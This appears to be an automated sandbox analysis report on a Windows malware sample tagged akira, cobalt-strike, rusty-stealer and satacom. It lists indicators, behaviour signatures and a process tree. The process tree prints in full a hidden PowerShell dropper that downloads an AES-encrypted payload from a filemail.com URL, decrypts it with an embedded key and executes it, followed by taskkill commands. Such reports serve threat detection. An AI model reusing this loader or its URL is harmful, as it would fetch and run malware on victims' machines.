Analysis
- max time kernel
150s - max time network
141s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
04/06/2026, 23:41
General
- Target 2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe
- Size 560KB
- Sample260604-3pspdshw2r
- SHA256 3128c6f5ff0170356546b2d8a48459a2040c88877e2cba224822429f063f0e6a
Malware Config
Extracted
-
ps1
-
exe.dropper
https://2116.filemail.com/api/file/get?filekey=yt1ufKMy-waZArbYFAeXSsCP2YC8-qpRS1D54tESWKJ5AaFCsOBx5A
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Kills process with taskkill 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$key = 'rthfd47plkLJGxXWr8euR205PBPMN5GtK40H1HHbsg'; $trimmedKey = $key.Substring(0, 32); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = [System.Text.Encoding]::UTF8.GetBytes($trimmedKey); $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $url = 'https://2116.filemail.com/api/file/get?filekey=yt1ufKMy-waZArbYFAeXSsCP2YC8-qpRS1D54tESWKJ5AaFCsOBx5A'; $encryptedBytes = Invoke-RestMethod -Uri $url -Method Get -OutFile $null -ContentType 'application/octet-stream'; $iv = $encryptedBytes[0..15]; $aes.IV = $iv; $encryptedBytes = $encryptedBytes[16..($encryptedBytes.Length - 1)]; $decryptor = $aes.CreateDecryptor(); $msInput = New-Object System.IO.MemoryStream; $msInput.Write($encryptedBytes, 0, $encryptedBytes.Length); $msInput.Position = 0; $cs = New-Object System.Security.Cryptography.CryptoStream($msInput, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read); $msOutput = New-Object System.IO.MemoryStream; $buffer = New-Object byte[] 1024; while (($read = $cs.Read($buffer, 0, $buffer.Length)) -gt 0) { $msOutput.Write($buffer, 0, $read); }; $decryptedBytes = $msOutput.ToArray(); $res = [System.Text.Encoding]::UTF8.GetString($decryptedBytes); $cs.Close(); $msOutput.Close(); $msInput.Close(); Invoke-Expression $res;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im srv_chk.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im srv_hst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_qq1etxd2.fsc.ps1
link.write.1.tlog
node-active-win.node
memory/4008-26-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-40-0x00000132BB1C0000-0x00000132BB273000-memory.dmp
memory/4008-10-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-15-0x00000132B8D60000-0x00000132B8F22000-memory.dmp
memory/4008-16-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-17-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-18-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-20-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-21-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-22-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-23-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-24-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-25-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-0-0x000001329FD0A000-0x000001329FD0B000-memory.dmp
memory/4008-9-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-29-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-27-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-30-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-31-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-28-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-39-0x00000132B8D00000-0x00000132B8D1C000-memory.dmp
memory/4008-41-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-42-0x00000132B8D20000-0x00000132B8D2A000-memory.dmp
memory/4008-44-0x00000132B8D30000-0x00000132B8D3A000-memory.dmp
memory/4008-43-0x00000132B8D10000-0x00000132B8D22000-memory.dmp
memory/4008-77-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-8-0x000001329F540000-0x00000132A0002000-memory.dmp
memory/4008-1-0x00000132B80D0000-0x00000132B80F2000-memory.dmp
memory/4008-906-0x000001329F540000-0x00000132A0002000-memory.dmp